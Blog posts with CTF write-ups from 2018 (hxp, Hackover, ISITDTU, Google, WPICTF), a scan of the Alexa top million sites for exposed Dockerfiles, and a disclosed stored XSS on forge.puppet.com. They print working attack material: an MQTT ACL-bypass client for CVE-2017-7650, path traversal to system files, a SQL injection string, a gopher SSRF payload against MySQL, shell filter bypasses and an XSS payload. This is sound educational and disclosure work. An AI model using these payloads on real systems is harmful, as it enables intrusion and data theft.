hxp CTF 2018 – time for h4x0rpsch0rr?

Posted on 2018-12-09 by Roman

Under the provided URL a website was only displaying this:

There was also a link to an admin panel which required username, password and a one-time password:

The main page contains one interesting bit in the page source:

There is a MQTT service running on port 60805 via web socket which provides data to the website.
You can connect to this service with you own client and subscribe to topics.
We start by subscribing to the topic “#” which is a wildcard for any topic.
Our client:

#!/usr/bin/python

import sys
import paho.mqtt.client as mqtt

def on_message(mqttc, obj, msg):
    print(msg.topic+" "+str(msg.qos))
    print(msg.payload)

mqttc = mqtt.Client(transport='websockets')
mqttc.on_message = on_message

mqttc.connect("159.69.212.240", 60805, 60)
mqttc.subscribe("#", 0)
mqttc.loop_forever()

However we only get the following back:

# python client.py 
hxp.io/temperature/Munich 0 
13.37
hxp.io/temperature/Munich 0 
13.37
hxp.io/temperature/Munich 0 
13.37

Next we subscribe to “$SYS/#”. Topics beginning with “$” are hidden so our wildcard before didn’t catch that. “$SYS” is a default topic which should give us some internal information of the service.

# python client.py 
$SYS/broker/version 0
mosquitto version 1.4.10
$SYS/broker/timestamp 0
Wed, 17 Oct 2018 19:03:03 +0200
$SYS/broker/uptime 0
167167 seconds
$SYS/broker/clients/total 0
60
$SYS/broker/clients/inactive 0
60
$SYS/broker/clients/disconnected 0
60
$SYS/broker/clients/active 0
0
$SYS/broker/clients/connected 0
0
$SYS/broker/clients/expired 0
0
$SYS/broker/clients/maximum 0
277
$SYS/broker/messages/stored 0
39
$SYS/broker/messages/received 0
648798
$SYS/broker/messages/sent 0
0
$SYS/broker/subscriptions/count 0
63
$SYS/broker/retained messages/count 0
39
$SYS/broker/heap/current 0
60480
$SYS/broker/heap/maximum 0
12085456
$SYS/broker/publish/messages/dropped 0
20906
$SYS/broker/publish/messages/received 0
69051
$SYS/broker/publish/messages/sent 0
0
$SYS/broker/publish/bytes/received 0
1355228629
$SYS/broker/publish/bytes/sent 0
7849976164
$SYS/broker/bytes/received 0
1363310799
$SYS/broker/bytes/sent 0
0
$SYS/broker/load/messages/received/1min 0
115.56
$SYS/broker/load/messages/received/5min 0
112.86
$SYS/broker/load/messages/received/15min 0
109.79
$SYS/broker/load/publish/received/1min 0
23.14
$SYS/broker/load/publish/received/5min 0
23.05
$SYS/broker/load/publish/received/15min 0
23.18
$SYS/broker/load/publish/dropped/1min 0
0.06
$SYS/broker/load/publish/dropped/5min 0
0.27
$SYS/broker/load/publish/dropped/15min 0
0.82
$SYS/broker/load/bytes/received/1min 0
496378.17
$SYS/broker/load/bytes/received/5min 0
491982.54
$SYS/broker/load/bytes/received/15min 0
491084.12
$SYS/broker/load/connections/1min 0
14.80
$SYS/broker/load/connections/5min 0
15.51
$SYS/broker/load/connections/15min 0
14.63
$SYS/broker/log/M/subscribe 0
1544348008: # 0 $SYS/#
$SYS/broker/log/M/subscribe 0
1544348009: 4bc81116-f66b-42ad-806c-5133218a95db 0 $internal/admin/webcam
$SYS/broker/log/M/subscribe 0
1544348014: c6883aff-c792-4924-92e8-139563685b11 0 $internal/admin/webcam

Watching the output of this, we see that a lot of clients are subscribing to the topic “$internal/admin/webcam” which sounds very interesting.

However subscribing to that topic does not give us any message, something is missing (Update: Apparently this should have worked, we probably screwed this up by not properly handling binary data in our client at that time).
After a while we notice the first line of output of the “$SYS/#” topic: mosquitto version 1.4.10

That is a rather old version and indeed there is a vulnerability up until version 1.4.12 which allows circumvention of set ACLs (CVE-2017-7650). Basically we only need to set our client_id or username to a wildcard – like “#” – and we can read any restricted topic.

We do this and get back binary data, so we write a modified client that stores this in a file:

#!/usr/bin/python

import sys
import paho.mqtt.client as mqtt

def on_message(mqttc, obj, msg):
    f = open("output.jpg","w+")
    f.write(msg.payload)
    sys.exit()

mqttc = mqtt.Client(client_id='#', transport='websockets', clean_session=True)
mqttc.on_message = on_message
mqttc.connect("159.69.212.240", 60805, 60)
mqttc.subscribe("$internal/#", 0)
mqttc.loop_forever()

Running this produces no output but the image will be written to output.jpg:

And with that we could login to the admin panel:

Flag was: hxp{Air gap your beers :| - Prost!}

Hackover CTF 2018 – cyberware

Posted on 2018-10-07 by Roman

The hackeover18 CTF challenge “cyberware”:

The URL http://cyberware.ctf.hackover.de:1337/ leads to what looks like a directory listing of a few files:

None of these files are accessible via a normal browser, they will only display “Protected by Cyberware 10.1” instead.
However with curl the files are displayed:

We figured out that requesting local system files is possible by prefixing // for example requesting //etc/passwd:

We then requested //proc/self/cmdline to find out which program is running, this returned cyberserver.py.
Since there is a ctf user in /etc/passwd we tried to get the file //home/ctf/cyberserver.py which dumped the whole source code. Mirror here.

From that source code we learned that there is no way to list files in a folder. The content of files which exist will be written to the response. There is also this interesting check:


        if path.startswith('flag.git') or search('\\w+/flag.git', path):
            self.send_response(403, 'U NO POWER')
            self.send_header('Content-type', 'text/cyber')
            self.end_headers()
            self.wfile.write(b"Protected by Cyberware 10.1")
            return

Apparently there is a flag.git folder. We can circumvent the search regex by simply requesting //home/ctf//flag.git. With the second / the error message is “406 Cyberdir not accaptable” which shows us that we have circumvented this check.

The flag.git folder is a normal .git directory. We can fetch the HEAD file to verify this:

There is already a wonderful tool to automatically download and extract files from open .git folders: internetwache/GitTools
However I couldn’t figure out how to make it download the files, I think it detects the downloads as failures since the content-length header might contain a wrong size (hence the curl errors as well).

We simply manually built the structure and downloaded all the standard files:

$ mkdir -p ctf/.git
$ cd ctf/.git/
$ mkdir -p refs/remotes/origin objects/info logs/refs/remotes/origin logs/refs/heads objects/pack/ info refs/heads refs/master
$ for x in HEAD objects/info/packs description config COMMIT_EDITMSG index packed-refs refs/heads/master refs/remotes/origin/HEAD refs/stash logs/HEAD logs/refs/heads/master logs/refs/remotes/origin/HEAD refs/stash logs/HEAD logs/refs/heads/master logs/refs/remotes/origin/HEAD info/refs info/exclude; do curl http://cyberware.ctf.hackover.de:1337//home/ctf//flag.git/$x -o $x ; done

We then find the location of a packed file, download it as well and unpack it:

$ cat objects/info/packs
P pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack

$ curl http://cyberware.ctf.hackover.de:1337//home/ctf//flag.git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack -o objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
(...)
$ cd ..
$ git unpack-objects -r < .git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
Unpacking objects: 100% (15/15), done.

Now we can use the extractor.sh tool from the above linked GitHub repository:


$ cd ~/GitTools/Extractor/
$ ./extractor.sh ~/ctf extract
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########
[*] Destination folder does not exist
[*] Creating...
fatal: Not a valid object name infopacks
fatal: Not a valid object name packpack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
[+] Found commit: 38db5649511b84ec8f9eb6492dbe43eabe1e6a4a
[+] Found file: /home/vagrant/GitTools/Extractor/extract/0-38db5649511b84ec8f9eb6492dbe43eabe1e6a4a/hackover18{Cyb3rw4r3_f0r_Th3_w1N}
[+] Found commit: c0e01b58327e785a581c32b97e639014aef0f31e
[+] Found file: /home/vagrant/GitTools/Extractor/extract/1-c0e01b58327e785a581c32b97e639014aef0f31e/ups
[+] Found commit: 7ddcca9c9752a2f616f9754dc100fc5e52f8f6df
[+] Found file: /home/vagrant/GitTools/Extractor/extract/2-7ddcca9c9752a2f616f9754dc100fc5e52f8f6df/qpoeqewrpokqwer
[+] Found commit: 5e9613e8069eb7a83c1b4554954fb7329490333a
[+] Found file: /home/vagrant/GitTools/Extractor/extract/3-5e9613e8069eb7a83c1b4554954fb7329490333a/asdasdasdqweq42134e2
[+] Found commit: 1301f01e7dbd26acd8ca5b09fab05b957e702365
[+] Found file: /home/vagrant/GitTools/Extractor/extract/4-1301f01e7dbd26acd8ca5b09fab05b957e702365/hackover16{Cyb3rw4hr_pl5_n0_taR}
[+] Found commit: b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a
[+] Found commit: dd9ebcb882411a06c33ea9d8e4246acf70e7372e
[+] Found commit: 19f882c9ad7aec1e682511525cc43e271896ae9e
[+] Found file: /home/vagrant/GitTools/Extractor/extract/7-19f882c9ad7aec1e682511525cc43e271896ae9e/ups

And you can see the first file it found was the flag, the flag was the filename, it was: hackover18{Cyb3rw4r3_f0r_Th3_w1N}

Hackover CTF 2018 – who knows john dows?

Posted on 2018-10-07 by Roman

The hackover18 CTF challenge “who knows john dows?” gave us only a login page:

And also a ruby class in a GitHub repo at https://github.com/h18johndoe/user_repository/blob/master/user_repo.rb.

First we needed to find the username. You simply clone the above repository and with git log you can see the email addresses which were used to commit, one of them (“john_doe@notes.h18”) worked.

Next we need to bypass the password check. Looking at the class in the GitHub repository we see that the SQL query to check the password is vulnerable to SQL injection however only via the hashed_input_password variable:

  def login(identification, password)
    hashed_input_password = hash(password)
    query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1"
    puts "SQL executing: '#{query}'"
    @database[query].first if user_exists?(identification)
  end

There is also a SQL injection in the identification variable, however this is first validated in another part of the code, thus this cannot be exploited.

The “hash” function used is as follows:

  def hash(password)
    password.reverse
  end

This basically only reverses the string. We want use this string to bypass the check:

x' or 1 = 1; --

So we simply reverse it to:

 -- ;1 = 1 ro 'x

And using that as the password, we get the flag:

The flag was: hackover18{I_KN0W_H4W_70_STALK_2018}

Scanning the Alexa top 1M sites for Dockerfiles

Posted on 2018-08-19 by Roman

Intro

Recently I stumbled over a site which publicly served their Dockerfile. That particular instance wasn’t very interesting. But I started to wonder how widespread this is and what sites are exposing due to that.

By all means, this isn’t exactly new. You can find /Dockerfile in the SecLists repository for a while.
However, it seems that so far nobody (publicly) investigated this. I’m also still operating a bunch of sites that are in the top 1 million list and I couldn’t find a single request for this file in my (limited) log files.

So I’ve started to do my own scan of the Alexa top 1 Million sites list.
This work was heavily inspired by the research of Hanno Böck in the past and in particular I used his wonderful tool snallygaster to conduct most of the scans. Thanks Hanno!

What is a Dockerfile?

A Dockerfile is the blueprint of a container. It contains all commands needed to build it. It is a simple plaintext file. You can tell Docker to copy files into the container, expose network ports and of course run any command during the build, for example:


FROM nginx

COPY default.conf /etc/nginx/conf.d/default.conf

COPY html/ /usr/share/nginx/html

RUN echo "192.168.1.14 mysql" >> /etc/hosts

EXPOSE 80

Basically you describe exactly how the container is configured, which packages are installed and what commands are being ran in the process of building it.

As you can see it doesn’t necessarily contain sensitive information. In the above example we don’t even see which files are copied to the NGINX document root.

Results

Out of the 1’000’000 sites 659 served a Dockerfile.
There is large reuse of existing Dockerfiles, one in particular was used 105 times.
Overall this boils down to 338 unique Dockerfiles being served.

41 were used two times or more, in detail:

The remaining 298 were uniquely used by only one site.

Most of them did fairly innocent operations that didn’t tell us much such as:

Not much there that we couldn’t also figure out by looking at the site directly.

A lot of them gave us a very detailed view of what is probably running on the server, e.g.:

It’s nice to know exactly which PHP modules are used on the server, this might be useful in some cases.

But as I dug deeper I found sometimes not only the Dockerfile was exposed but also much of the referenced configuration files. For example in the Dockerfile “docker/nginx.conf” is copied:

Which we then can simply try to access like this:

Somewhat common in that scenario are TLS certificates and, well, keys. I’ve found around 10 of those, for example:

And some people simply do insane things in their Dockerfile, like exposing their AWS secret key:

Or using a tool called “sshpass” to pipe a password into ssh to automate a rsync:

And at least one SSH root key is being served:

Overall I found SSH keys, npm tokens, TLS keys, passwords, AWS secrets, Amazon SES credentials, countless configuration files and source code of some of the applications.

These are of course the extreme examples which are to be expected on such a wide range scan.

How does this happen?

By default the Dockerfile is not copied into the container and certainly not to a publicly served folder.

From what I can tell the mistake that most of these sites make is practically this (real example from the scan):

With the first COPY line they copy everything in the current folder to a publicly served folder.
Afterwards configuration files get copied.

With this both the nginx.conf and the complete ssl directory are public. We can now simply fetch the nginx.conf, lookup the name of the certificate and key files and then fetch those as well.

In some cases there was no such COPY command. I can only guess that the files ended up due to another mistake in the document root, possibly unrelated to Docker.

Conclusion

With only 0.066 % of sites exposing a Dockerfile this doesn’t look like a very widespread problem. And on top of that only a subset of those – less than 100 – expose really critical information that can lead to a compromise.

But in any case, it rarely makes sense to publicly serve a Dockerfile.
Even if you don’t include any keys, passwords or other secrets: It still doesn’t make sense to give everyone a blueprint of your system.
The sites that don’t expose anything critical right now might start in the future when changes are made to this seemingly private file.

It’s generally good advice – even if you don’t use Docker – to simply check your public webroot folder for any files that shouldn’t be there and remove them.

ISITDTU CTF 2018 Friss

Posted on 2018-07-29 by Roman

The ISITDTU CTF 2018 – Friss challenge presented us only with a URL without any explanation, on that URL a single form field was displayed:

That form only accepted URLs which point to localhost.
On the page is also a comment in the HTML source code which gives us access to the debug version by appending ?debug=1 to the URL:

Here we find that a config.php is included. Since only the host part is checked against containing localhost we can request local files like this: file://localhost/etc/hosts

And we can also get the config.php file by requesting file://localhost/var/www/html/config.php:

In the config.php file we find MySQL connection details and information that the flag is probably stored in the table ssrf.flag.

We can send requests to MySQL by requesting http://127.0.0.1:3306/ but that is not very useful since we need to login and send a query over the MySQL binary protocol.
Fortunately curl still supports the gopher protocol with which we can send requests to MySQL without any additional headers.
Crafting the correct binary content is the hard part but that problem is also solved already. We’ve used this python script to create the payload. The author – Tarunkant – explained SSRF via gopher and his script very well here.

But this script still requires the raw authentication packet. We’ve started a MySQL server and then connected to it via mysql -h 127.0.0.1 -u ssrf_user (login does not need to succeed).
Sniffing the traffic with wireshark we get the following authentication packet (follow the TCP stream and filter only for client to server traffic):

Switch to raw representation:

Run the above python script to generate the payload, as query we entered SELECT * FROM ssrf.flag;:

That produces the gopher URL:gopher://127.0.0.1:3306/_%b3%00%00%01%85%a6%3f%20%00%00%00%01 %2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00 %00%00%00%00%73%73%72%66%5f%75%73%65%72%00%00%6d%79%73%71%6c %5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%71%03%5f %6f%73%10%64%65%62%69%61%6e%2d%6c%69%6e%75%78%2d%67%6e%75%0c %5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71 %6c%04%5f%70%69%64%04%31%36%36%33%0f%5f%63%6c%69%65%6e%74%5f %76%65%72%73%69%6f%6e%07%31%30%2e%31%2e%32%39%09%5f%70%6c%61 %74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d %5f%6e%61%6d%65%05%6d%79%73%71%6c%19%00%00%00%03%53%45%4c%45 %43%54%20%2a%20%46%52%4f%4d%20%73%73%72%66%2e%66%6c%61%67%3b %01%00%00%00%01

And when we request that, we get the flag:

The flag is: ISITDTU{JUST_4_SSrF_B4B3!!}

Google CTF 2018 shall we play a game

Posted on 2018-06-26 by Roman

Although we haven’t managed to submit the flag correctly, I’m still publishing this write-up. Maybe it helps someone.

The Google CTF 2018 “shall we play a game?” challenge:

This was in the reverse engineering category, only included a link to an apk file (mirror) and the short description to win the game 1’000’000 times to get the flag.

I already had the setup to run and investigate Android Apps from a very great BSides Munich workshop Fun with Frida. In the end I didn’t end up using Frida to solve the challenge, but the setup alone helped a lot already.

Looking at the game, it is a very simple tic-tac-toe game with a win counter that goes up to 1’000’000:

Starting to reverse it I’ve used unpack-apk.sh to extract the apk file and attempt to decompile it as well. Looking at the source code at app/extracted/src/main/java/com/google/ctf/shallweplayagame/GameActivity.java we find that this is the main program. Two functions there are of interest to us (comments by me):

    // Display flag and some magic we don't understand
    void m() {
        Object _ = N._(Integer.valueOf(0), N.a, Integer.valueOf(0));
        Object _2 = N._(Integer.valueOf(1), N.b, this.q, Integer.valueOf(1));
        N._(Integer.valueOf(0), N.c, _, Integer.valueOf(2), _2);
        ((TextView) findViewById(R.id.score)).setText(new String((byte[]) N._(Integer.valueOf(0), N.d, _, this.r)));
        o();
    }

    void n() {
        // Reset the board, remove X and O from the board
        for (int i = 0; i < 3; i++) {
            for (int i2 = 0; i2 < 3; i2++) {
                this.l[i2][i].a(a.EMPTY, 25);
            }
        }
        k();
        // Increase win counter
        this.o++;
        // Some magic we don't understand
        Object _ = N._(Integer.valueOf(2), N.e, Integer.valueOf(2));
        N._(Integer.valueOf(2), N.f, _, this.q);
        this.q = (byte[]) N._(Integer.valueOf(2), N.g, _);
        // Check if win counter is 1'000'000
        if (this.o == 1000000) {
            // Show the flag
            m();
            return;
        }
        ((TextView) findViewById(R.id.score)).setText(String.format("%d / %d", new Object[]{Integer.valueOf(this.o), Integer.valueOf(1000000)}));
    }

My first attempts were to start the game with a win counter of already 999’999 or decrease the 1’000’000 to 2. But neither worked, we won the game but instead of the flag we’d get binary garbage displayed. It’s clear that the magic we don’t understand needs to run 1’000’000 to produce the correct string (line 21 – 23).

I’ve started to look at the assembly file app/extracted/smali/com/google/ctf/shallweplayagame/GameActivity.smali and the method n() as that’s where we need to make changes:


.method n()V
    .locals 10

    const v9, 0xf4240

This must be the right place, 0xf4240 is 1’000’000 in hex. We can somewhat easy find the increase of the win counter:


    iget v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I

    add-int/lit8 v0, v0, 0x1

    iput v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I

And further down is the win check:


    iget v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I

    if-ne v0, v9, :cond_2

    invoke-virtual {p0}, Lcom/google/ctf/shallweplayagame/GameActivity;->m()V

Between those sections, we need to add a new loop which runs 1’000’000 times. I’ve did that with the following patch:


--- orig/GameActivity.smali	2018-06-26 10:47:29.072510136 +0200
+++ patched/GameActivity.smali	2018-06-26 11:21:00.495157390 +0200
@@ -664,7 +664,8 @@
 .end method
 
 .method n()V
-    .locals 10
+    # Increase local variable count by one
+    .locals 11
 
     const v9, 0xf4240
 
@@ -676,6 +677,9 @@
 
     const/4 v6, 0x2
 
+    # Add new variable v10 with value 0
+    const v10, 0x0
+
     move v2, v1
 
     :goto_0
@@ -716,8 +720,20 @@
 
     add-int/lit8 v0, v0, 0x1
 
+    # move 1'000'000 into the win counter, we now only need to win once
+    move v0, v9
+
     iput v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I
 
+    # add new loop, goto_3 label
+    :goto_3
+
+    # break out condition, if v10 is 1'000'000 goto cond_3
+    if-ge v10, v9, :cond_3
+
+    # increase loop counter v10 by 1
+    add-int/lit8 v10, v10, 0x1
+
     new-array v0, v7, [Ljava/lang/Object;
 
     invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
@@ -786,6 +802,12 @@
 
     iput-object v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->q:[B
 
+    # end of the for loop, jump back up to goto_3 label until v10 is 1'000'000
+    goto :goto_3
+
+    # break out label, jump here if v10 is 1'000'000
+    :cond_3
+
     iget v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I
 
     if-ne v0, v9, :cond_2

Now we just need to build a new apk file, zipalign it, sign it, install it on our emulator and run it:


# apktool b
# zipalign -v 4 dist/app.apk app.aligned.apk
# jarsigner -verbose -storepass android -keystore ~/.android/debug.keystore app.aligned.apk signkey
# adb install app.aligned.apk

And when we run it finally this screen is displayed:

The flag is CTF{ThLssOfInncncIsThPrcOfAppls} or CTF{ThLssOfInncncIsThPrcOfAppIs} or CTF{ThLssOflnncncIsThPrcOfAppls} – I’m still not sure.

XSS on forge.puppet.com

Posted on 2018-06-14 by Roman

I found a vulnerability on forge.puppet.com which allowed me to store XSS on their module page for a module I own.
User interaction was still required to execute the JavaScript payload by hovering over a link on the page, thus the risk was rather limited.

The issue was that not all values in metadata.json of uploaded modules were correctly sanitized. You could upload a module with the following metadata.json payload (abbreviated):

  "operatingsystem_support": [
    {
      "operatingsystem":"CentOS",
      "operatingsystemrelease":[ "5", "6", "7<script>alert('xss')</script>" ]
    }
  ],

When a user then visited the module page and hovered over the “CentOS” link, to figure out which versions are supported, then the JavaScript payload would be executed:

This issue has been fixed by the Puppet team.

Timeline:
2018-03-24 – Issue was reported to the Puppet security team.
2018-04-01 – Asking for feedback if the report has been received.
2018-04-01 – Puppet security team confirms and says it’s added to their backlog.
2018-06-13 – Asking for feedback if the issue is resolved.
2018-06-13 – Puppet security team confirms it’s fixed, possibly already since March.

WPICTF 2018 guess5

Posted on 2018-04-15 by Roman

The WPICTF 2018 “guess5” challenge:

The URL presented us with a guessing game, we have to pick 6 numbers. If we picked the correct numbers we’ll get a flag:

However submitting our picks never worked. Investigating this for a bit it looks like this requires to run a local Ethereum node. Before trying to set that up we’ve looked more into what the web application does. Interestingly it fetches the URL https://glgaines.github.io/guess5/Guess6.json (mirror here). In there we can find the ETH contract including in plain text for some reason. Which contains the flag:

The flag is: WPI{All_Hail_The_Mighty_Vitalik}

WPICTF 2018 Shell-JAIL-2

Posted on 2018-04-15 by Roman

The WPICTF 2018 “Shell-JAIL-2” challenge:

This is almost the same challenge as Shell-JAIL-1 (see my write-up here for explanation of details) with the exception of one extra line in access.c (full mirror here):

        setenv("PATH", "", 1);

This means that before dropping the arguments to system() the $PATH environment variable is unset. Also the blacklist filter of the previous challenge remains the same. With that only built in sh commands will continue to work and since / is also blacklisted we cannot provide full paths to binaries either. For example id will now not work while pwd still executes:

But the . (or source) command still works. With that we can tell the shell to try to execute the flag.txt file and the error message will reveal its content. We still use the ? wildcard to circumvent the other blacklist by passing . "fl?g.t?t" to it:

The flag is: wpi{p0s1x_sh3Lls_ar3_w13rD}

WPICTF 2018 Shell-JAIL-1

Posted on 2018-04-15 by Roman

The WPICTF 2018 “Shell-JAIL-1” challenge:

After downloading the linked private key and connecting to the remote server we are dropped into a limited user account and the directory /home/pc_owner. In that folder there are only 3 files – including flag.txt to which our user has no access:

The access file is basically a setuid executable which will run as the pc_owner user. The source of the executable is also available in access.c (mirror here). The program will take all arguments and pass it to system() unless it contains blacklisted strings, relevant parts in the source code:

int filter(const char *cmd){
	int valid = 1;
	valid &amp;= strstr(cmd, "*") == NULL;
	valid &amp;= strstr(cmd, "sh") == NULL;
	valid &amp;= strstr(cmd, "/") == NULL;
	valid &amp;= strstr(cmd, "home") == NULL;
	valid &amp;= strstr(cmd, "pc_owner") == NULL;
	valid &amp;= strstr(cmd, "flag") == NULL;
	valid &amp;= strstr(cmd, "txt") == NULL;
	return valid;
}


int main(int argc, const char **argv){
	setreuid(UID, UID);
	char *cmd = gen_cmd(argc, argv);
	if (!filter(cmd)){
		exit(-1);
	}
	system(cmd);
}

This means passing id to it will work but cat flag.txt will not:

Of course circumventing that filter is rather easy, the * wildcard is forbidden, but ? is not. We can use those wildcards to read flag.txt by passing cat "fla?.tx?" to it:

The flag is: wpi{MaNY_WayS_T0_r3Ad}